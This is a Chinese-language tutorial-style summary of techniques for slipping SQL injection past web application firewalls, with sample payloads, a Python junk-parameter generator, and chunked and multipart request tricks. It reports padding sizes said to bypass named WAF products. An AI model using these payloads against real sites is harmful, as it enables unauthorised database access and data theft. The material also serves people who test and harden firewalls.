題記
常見SQL注入的waf繞過方式總結,借鑒網上大佬與培訓課程里面的方式。垃圾參數與注釋繞過與分塊傳輸都是我比較熟悉的。
WAF攔截原理:WAF從規則庫中匹配敏感字符進行攔截。
關鍵詞大小寫繞過
有的WAF因為規則設計的問題,只匹配純大寫或純小寫的字符,對字符大小寫混寫直接無視,這時,我們可以利用這一點來進行繞過
舉例: union select ---> unIOn SeLEcT
編碼繞過
針對WAF過濾的字符編碼,如使用URL編碼,Unicode編碼,十六進制編碼,Hex編碼等.
舉例:union select 1,2,3# =union%0aselect 1\u002c2,3%23
雙寫繞過
部分WAF只對字符串識別一次,刪除敏感字段並拼接剩余語句,這時,我們可以通過雙寫來進行繞過。
舉例:UNIunionON ,SELselectECT anandd
換行(\N)繞過
舉例:select * from admin where username = \N union select 1,user() from admin
注釋符內聯注釋繞過:
/XXX/,#, -- -,--+, ;
union selecte =/*!union*/ select
注釋符里感嘆號后面的內容會被mysql執行。
同義詞替換
and=&&
or=||
=(等於號)=<、>
空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注:%0a是換行也可以替代空格
HTTP參污染
對目標發送多個參數,如果目標沒有多參數進行多次過濾,那么WAF對多個參數只會識別其中的一個。
舉例:?id=1&id=2&id=3
垃圾參數
WAF在設計的時候都會考慮到性能問題,檢測數據包的包長或檢測數據流長度,有一個限制。因此在設計WAF的時候可能就有一個默認值,默認多少個字節的流大小,或是多少 個數據包。此時可以向HTTP POST添加填充數據,達到一定數目之后,POST中的sql注入惡意代碼沒有被檢測了,達到了bypass的目的。利用腳本生成器生成大量垃圾字符。
#coding=utf-8 import random,string from urllib import parse # code by yzddMr6 varname_min = 5 varname_max = 15 data_min = 20 data_max = 25 num_min = 50 num_max = 100 def randstr(length): str_list = [random.choice(string.ascii_letters) for i in range(length)] random_str = ''.join(str_list) return random_str def main(): data={} for i in range(num_min,num_max): data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max)) print('&'+parse.urlencode(data)+'&') main()
POST請求:
舉例:a=AAAAAA*[很多個A] &id=1 order by X[1-3]
目前為止的bypass測試數據: 雲鎖:30KB 寶塔:30KB 阿里雲:200+鍵值對 安全狗沒測過,有空測一下
建議先抓包手工試一下到底多少垃圾數據合適,沒問題之后再上sqlmap。
組合繞過
以上所學習的知識點結合在一起,這樣能大幅提高繞過WAF的可能性
舉例:id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*!information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database() --
分塊傳輸
在burp中關閉自動補全,刪掉Content-Length: 37,添加Tranfer-Enconding: chunked就代表是分塊傳輸了,下面字符依次類推,注意結束時有兩個空行。
如果這樣依舊被攔截可以在每分塊后面加上;注釋,嘗試繞過。
2;CESHI id 2;CESHI =1 5;CESHI order 2;CESHI by 1;CESHI 4
協議未覆蓋
將頭部Content-Type改為multipart/form-data; boundary=69 然后設置分割符內的Content-Disposition的name為要傳參數的名稱。數據部分則放在分割結束符上一行,可以直接使用Burp中的change body encoding來更改數據格式,進行繞過。
總結
WAF繞過的思路就是讓WAF的檢測規則,識別不到你所輸入的敏感字符,利用上述我所介紹的知識點,靈活結合各種方法,從而可以增加繞過WAF的可能性。
參考鏈接
精華 | SQL注入萬能Bypass技巧:http://mp.weixin.qq.com/s/RSXc0ACv5DS-GsajdO8IRw
WAF繞過思路+知識點:https://xffbk.cn/archives/97.html